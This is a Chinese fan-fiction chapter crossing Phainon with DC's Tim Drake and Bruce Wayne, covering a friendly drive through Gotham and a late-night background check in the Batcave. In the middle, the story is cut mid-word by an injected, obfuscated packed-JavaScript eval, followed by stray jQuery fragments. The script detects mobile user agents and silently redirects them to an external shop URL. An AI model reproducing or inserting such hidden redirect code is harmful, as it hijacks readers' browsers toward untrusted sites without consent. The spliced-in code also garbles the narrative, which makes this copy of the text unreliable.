车子在路边停了下来。提姆熄了火，解开安全带，推门下车。白厄跟着下了车，发现自己站在一条看起来没那么破的街上，两边有几家小店——一家理发店、一家杂货铺、一家门口挂着霓虹灯牌但白天没开的酒吧，还有一个小型超市。
“这是哪？”白厄问。
“东区比较安全的一条街。”提姆说，语气里有一点得意，“我平时来这边办事会在这停一下，隔壁那条街有个小馆子，做的三明治还不错。”
他们并肩走在街上。秋天的风吹过来，带着一点凉意，白厄注意到街边有几个老人在晒太阳，一个小女孩牵着一只脏兮兮的白色小狗从他们面前跑过去，一切都很安静，很日常，和他来之前想象的“哥谭”完全不一样。
“是不是没有你想象的那么可怕？”提姆好像看穿了他的想法。
白厄诚实地点了点头。
“白天是白天，”提姆说，“不过我跟你说这些，不是想吓你。就是想让你知道，这边的生活跟你以前待的地方可能不太一样。晚上尽量不要一个人出门，遇到什么事别硬撑，该报警报警。”
“你说话好像我——好像一个很操心的人。”白厄差点说出“好像我以前的同伴”，及时刹住了。
提姆看了他一眼，没追问。
“你来哥谭一个星期了，”提姆说，声音比之前轻了一点，“感觉怎么样？”
白厄想了想。
“挺好的。”他说，“比我以为的好。这里……挺真实的。”
这是他能想到的最贴切的词。哥谭的人不怎么笑，不怎么热情，走在路上也不会跟陌生人打招呼——但那种不热情里没有什么恶意，更像是一种“我们都有各自的事要忙”的本分。白厄反而觉得这种距离感让人安心，不像那些笑里藏刀的地方。
“真实的。”提姆重复了一下这个词，像在品味。“你还挺会形容的。”
他们在街上走了一个来回，提姆指了几家店给他看，告诉他哪家的甜甜圈最便宜、哪家的老板脾气不好不要惹、哪家店门口的电线杆子以前被车撞过一次现在还有点歪。白厄觉得提姆说起这些事情的时候，整个人都松弛下来了，不像是那个在课堂上安安静静的文学系学生，更像是一个对这了如指掌的本地人。
他们走回停车的地方时，白厄掏出手机看了一眼时间，发现提姆不知道什么时候已经把他的号码存进去了，而且不知道什么时候加上了他的社交账号。
“你什么时候加的我？”白厄有点意外。
“刚才你在看那个歪的电线杆的时候。”提姆说，语气很平淡，好像在说一件微不足道的事。
白厄点开聊天界面，看到自己的头像——一个金黄色的光环，有着十二条分支——旁边显示着名字。
Savior（救世主）
提姆显然也看到了。
“救世主？”提姆念出来，语调微微上扬，带着一点好奇，也带着一点“你这是认真的吗”的调侃。
白厄的手指顿了一下。
“啊，这个。”他说，声音没什么变化，但脸上的笑容微微一滞，很快又恢复如常，“以前的朋友喜欢这么叫我，叫着叫着就习惯了，改不过来了。”
提姆看了他一眼。
就是那一眼。
白厄不知道提姆看到了什么——他自己什么都没表现出来，他的声音是平稳的，笑容是自然的，甚至连呼吸都没有乱。但提姆的目光停在他脸上的时间比平时多了一秒，也许两秒，干净利落地落下来，然后收了回去。
“那你的朋友还挺会起外号的。”提姆说着，拉开了车门，语气和之前没有任何区别，“走吧，趁天还没黑，带你去另一个地方。”
白厄坐进车里，低头看着手机屏幕上的“救世主”，忽然觉得有点扎眼。
不是因为这个称呼不好。恰恰相反，这个称呼曾经是他的荣誉，他的使命，他存在的全部意义——也是他的枷锁，他的伤口，他每个夜晚闭上眼睛之后反复做的那个梦。
他把手机屏幕按灭了。
车子发动的时候，白厄把脸转向窗外，看着哥谭灰色的街景慢慢往后退。那些旧楼、枯树、生锈的路牌，一只蹲在垃圾桶上的灰猫，一个背着书包匆匆走过马路的小孩。
这里没有人叫他救世主。
这里的人不需要他拯救。
他不知道自己应该为此感到轻松，还是感到别的什么。
“你刚说到蝙蝠侠，”白厄忽然开口，“他是一个人吗？”
“基本上是吧。”提姆说，手指在方向盘上轻轻敲了敲，“有时候也有帮手，好像叫罗宾，但他不怎么说那些。他更像那种——闷着头干活，干完了就走，不跟你废话的类型。”
“听起来你很了解他。”
提姆顿了一下。
“哥谭人都了解他。”他说，语气平静得像在叙述天气，“就像纽约人了解钢铁侠，大都会人了解超人一样。八卦新闻天天报，不想知道都不行。”
白厄“嗯”了一声，没再问。
车子拐了个弯，夕阳从云层的缝隙里漏出来，短暂地照亮了前面的路，然后又被新的云遮住了。
“对了，”提姆忽然说，像是想起来什么，“你周末有安排吗？”
“没有。”
“那一起吃饭吧，我知道一家不错的地方，不是什么高档餐厅，就是老板做菜好吃。”
白厄转过头，看到提姆的侧脸被仪表盘的光映出一层淡淡的冷蓝色。他的表情很放松，嘴角带着一点很浅的笑意，看起来就是普普通通的大学生，在跟普普通通的朋友约普普通通的饭。
“好。”白厄说，笑了，“你请客吗？”
提姆终于转过头来，给了他一个“你想得美”的眼神，但嘴角的笑意藏不住。
“AA。”他说。
“‘AA’是‘各付各的’的意思吧？”白厄确认道，他确实不太熟悉这些缩写。
提姆沉默了一秒，然后笑了一下。
“是的，各付各的。”他说，语气里多了一点白厄听不大懂的温柔，“你在哥谭，会慢慢学会的。”
车子继续往前开。
白厄把座椅靠背调低了一点，靠在上面，眼睛半睁半闭地看着哥谭灰色的天空。
来之前他担心过很多事情。
担心自己能不能融入这里，担心自己会不会忍不住做太多，担心那些过去的东西会不会像影子一样追过来，在他最放松的时候从背后勒住他的脖子。
但今天，此刻，他坐在这辆普普通通的车里，旁边坐着一个普普通通的朋友，要去吃一顿普普通通的饭。
他觉得这一切挺好的。
手机又震了一下。
Red_Wing：对了，你说的那个“以前的朋友”——他们是叫你“救世主”的？
白厄看着这条消息，愣了两秒。
他想了想，打了几个字，删掉，又打了几个字，又删掉。最后还是什么也没回，把手机揣回了兜里。
过了一会儿，手机又震了。
Red_Wing：行吧，不想说就不说。周末那顿饭我请。
白厄忍不住笑了。
他从兜里掏出手机，快速地打了两个字。
Savior：谢谢。
发完，他又想了想，又加了一条。
Savior：不是因为请客。
这一次，提
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542260|203960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
姆没有立刻回复。
但白厄注意到，车子里的音乐被提姆悄悄调小了。
他们继续开着车，在哥谭灰色的街头，在两个人都没有开口的沉默里，一种说不清道不明的东西，像哥谭港口的风一样，无声无息地吹过来了。
韦恩庄园，深夜。
蝙蝠电脑的屏幕亮着，布鲁斯·韦恩坐在屏幕前，面前的档案页面上是一张年轻男人的照片——白色的头发，蓝色的眼睛，笑容干净得像从来没有被这个世界的灰尘沾染过。
布鲁斯看了那张照片很久。
“救世主。”他低声念出那个网名，语调没有任何感情波动。
提姆站在他身后，双手插兜，看起来不太高兴。
不是那种发脾气的不高兴，而是那种“我知道你要说什么而且我已经不想听了”的不高兴。
“我查过了。”布鲁斯说，声音很沉，“Phainon——白厄。之前在新泽西州的一所社区大学，成绩中等，没有任何不良记录。没有犯罪记录，没有交通罚单，连停车都没违规过。”
“所以呢？”提姆说。
“所以他的背景干净得像一张白纸。”布鲁斯转过头来看他，蓝灰色的眼睛在屏幕的光照下显得很冷静，“在哥谭，这种干净往往意味着两种可能——他是真的干净，或者他在干净这件事上花了很多心思。”
提姆深吸了一口气。
他当然知道布鲁斯是出于谨慎。布鲁斯·韦恩对每一个出现在他身边的人都是这样，从第一天到现在，从来没有例外。提姆甚至不能怪他——这么多年了，布鲁斯的这种“多疑”救过他们所有人的命，提姆比谁都清楚。
但这不代表他不生气。
“他是我的朋友。”提姆说，声音不大，但很认真，“不是什么需要你查底细的可疑人物。他就是……一个普通人。一个刚搬到哥谭的、性格好一点的普通人。”
布鲁斯安静地看着他。
“你说你喜欢跟他待在一起。”布鲁斯说。
“对。”
“你说他让你觉得放松。”
提姆顿了一下。他不记得自己什么时候跟布鲁斯说过“放松”这个词，但他知道布鲁斯能从他说过的每一个词里读出他没说的那些。
“…是。”提姆承认了。
布鲁斯又看了那张照片一眼，然后按下了关闭键。屏幕暗下去，蝙蝠洞里只剩下来自主机的微弱呼吸声一样的嗡鸣。
“继续跟他做朋友。”布鲁斯说，语气比刚才轻了一点，“我没有让你疏远他。”
提姆看着他。
“那你为什么——”提姆顿了顿，“算了，我知道为什么。你就是这样的，我习惯了。”
布鲁斯没有反驳。
提姆转身走到楼梯口，正准备离开。
布鲁斯在黑暗中看着他的背影。
“提姆。”
“嗯？”
“注意安全。”
提姆站了两秒，没有回头，也没有说“知道了”。
他只是轻轻叹了口气，然后走上楼梯，把蝙蝠洞的暗门关上了。
布鲁斯独自坐在黑暗中。
过了一会儿，他重新打开了那份档案，把那张照片又看了一遍。
白金色的头发，蓝色的眼睛，笑容干净得不像真的。
在新泽西的那所社区大学，所有认识他的人都说同一句话——“他是个好人，帮过我的忙。”
没有例外。
一个好人。
在哥谭，这个词的含金量，布鲁斯比谁都清楚。
他关掉了档案，靠在椅背上，闭上眼睛。
之后再想——现在，到了他的工作时间了。